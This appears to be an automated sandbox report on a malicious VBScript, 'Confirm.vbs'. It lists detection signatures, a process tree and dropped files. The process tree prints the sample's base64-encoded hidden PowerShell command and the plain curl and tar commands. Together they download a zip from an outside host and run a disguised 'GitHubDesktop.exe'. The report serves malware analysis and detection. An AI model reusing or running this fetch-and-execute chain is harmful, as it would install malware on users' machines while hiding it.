Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
17/10/2026, 00:26
General
- Target Confirm.vbs
- Size 1KB
- Sample261017-arma6scd23
- SHA256 24dc93076f8f49ead6e6d785cc7b58723429270a3b8a2f9fa200db058a8b02b5
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 7 IoCs
- Loads dropped DLL 13 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Confirm.vbs"1⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwANAAoAJABlAG4AdgBDAG8AbgB0AGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAARgBpAGwAZQBOAGEAbQBlACgAKQAgACsAIAAnAC4AegBpAHAAJwANAAoAJABoAGQAcgBUAG8AawBlAG4AIAA9ACAAIgAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAXAByAGUAZgBCAHUAaQBsAGQAZQByACIADQAKAGMAdQByAGwALgBlAHgAZQAgAC0AcwBMACAALQBvACAAJABlAG4AdgBDAG8AbgB0AGUAeAB0ACAAaAB0AHQAcABzADoALwAvAGcAZQBvAHIAZwBhAGMAYQBlAG0ALgBjAG8AbQAvAGcAaQB0AGgAdQBiAC4AegBpAHAADQAKAGkAZgAgACgALQBuAG8AdAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGgAZAByAFQAbwBrAGUAbgApACkAIAB7ACAATgBlAHcALQBJAHQAZQBtACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAaABkAHIAVABvAGsAZQBuACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsACAAfQANAAoAdABhAHIALgBlAHgAZQAgAC0AeABmACAAJABlAG4AdgBDAG8AbgB0AGUAeAB0ACAALQBDACAAJABoAGQAcgBUAG8AawBlAG4ADQAKAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgACQAZQBuAHYAQwBvAG4AdABlAHgAdAAgAC0ARgBvAHIAYwBlAA0ACgBpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAIgAkAGgAZAByAFQAbwBrAGUAbgBcAEcAaQB0AEgAdQBiAEQAZQBzAGsAdABvAHAALgBlAHgAZQAiACkAIAB7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAJABoAGQAcgBUAG8AawBlAG4AXABHAGkAdABIAHUAYgBEAGUAcwBrAHQAbwBwAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAB9AA0ACgA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -sL -o C:\Users\Admin\AppData\Local\Temp\tmp78D5.tmp.zip https://georgacaem.com/github.zip3⤵
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C:\Windows\system32\tar.exe"C:\Windows\system32\tar.exe" -xf C:\Users\Admin\AppData\Local\Temp\tmp78D5.tmp.zip -C C:\Users\Admin\AppData\Local\refBuilder3⤵
-
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C:\Users\Admin\AppData\Local\refBuilder\GitHubDesktop.exe"C:\Users\Admin\AppData\Local\refBuilder\GitHubDesktop.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\refBuilder\GitHubDesktop.exe"C:\Users\Admin\AppData\Local\refBuilder\GitHubDesktop.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\GitHub Desktop" --field-trial-handle=1928,i,11088872605523861508,11963863855039645588,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=1956 /prefetch:34⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Users\Admin\AppData\Local\refBuilder\GitHubDesktop.exe"C:\Users\Admin\AppData\Local\refBuilder\GitHubDesktop.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\GitHub Desktop" --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1928,i,11088872605523861508,11963863855039645588,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1924 /prefetch:24⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\refBuilder\GitHubDesktop.exe"C:\Users\Admin\AppData\Local\refBuilder\GitHubDesktop.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\Admin\AppData\Roaming\GitHub Desktop" --gpu-preferences=SAAAAAAAAADoAAAEAAAAAAAAAAAAAGAAAQAAAAAAAAAAAAAAAAAAAEIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1928,i,11088872605523861508,11963863855039645588,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=924 /prefetch:84⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
-
-
-
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C:\Users\Admin\AppData\Local\refBuilder\GitHubDesktop.exeC:\Users\Admin\AppData\Local\refBuilder\GitHubDesktop.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\refBuilder\GitHubDesktop.exe"C:\Users\Admin\AppData\Local\refBuilder\GitHubDesktop.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\GitHub Desktop" --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1996,i,8322953321918238215,6247262079697302211,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1992 /prefetch:22⤵
- Executes dropped EXE
- Loads dropped DLL
-
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C:\Users\Admin\AppData\Local\refBuilder\GitHubDesktop.exe"C:\Users\Admin\AppData\Local\refBuilder\GitHubDesktop.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\GitHub Desktop" --field-trial-handle=1996,i,8322953321918238215,6247262079697302211,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=2128 /prefetch:32⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_4toiykfe.cao.ps1
chrome_100_percent.pak
chrome_200_percent.pak
dxcompiler.dll
dxil.dll
icudtl.dat
libEGL.dll
libglesv2.dll
en-US.pak
resources.pak
emnapi.min.d.mts
COPYING.LIB
ct_log_list.cnf.dist
main.js
package.json
v8_context_snapshot.bin
vk_swiftshader.dll
3c58cd84-abcc-4321-bf1f-fb61d10919f0.tmp
Local State
daemon.log
memory/4048-983-0x00000204C95C0000-0x00000204C95C1000-memory.dmp
memory/4048-973-0x00000204C95C0000-0x00000204C95C1000-memory.dmp
memory/4048-979-0x00000204C95C0000-0x00000204C95C1000-memory.dmp
memory/4048-981-0x00000204C95C0000-0x00000204C95C1000-memory.dmp
memory/4048-982-0x00000204C95C0000-0x00000204C95C1000-memory.dmp
memory/4048-975-0x00000204C95C0000-0x00000204C95C1000-memory.dmp
memory/4048-980-0x00000204C95C0000-0x00000204C95C1000-memory.dmp
memory/4048-984-0x00000204C95C0000-0x00000204C95C1000-memory.dmp
memory/4048-974-0x00000204C95C0000-0x00000204C95C1000-memory.dmp
memory/4048-985-0x00000204C95C0000-0x00000204C95C1000-memory.dmp
memory/5376-2-0x000001F624630000-0x000001F624652000-memory.dmp
memory/5376-925-0x000001F63D5E0000-0x000001F63D7FC000-memory.dmp
memory/5376-0-0x000001F63CD20000-0x000001F63CD30000-memory.dmp
memory/5376-1-0x000001F63CD20000-0x000001F63CD30000-memory.dmp
memory/5376-10-0x000001F63D5E0000-0x000001F63D7FC000-memory.dmp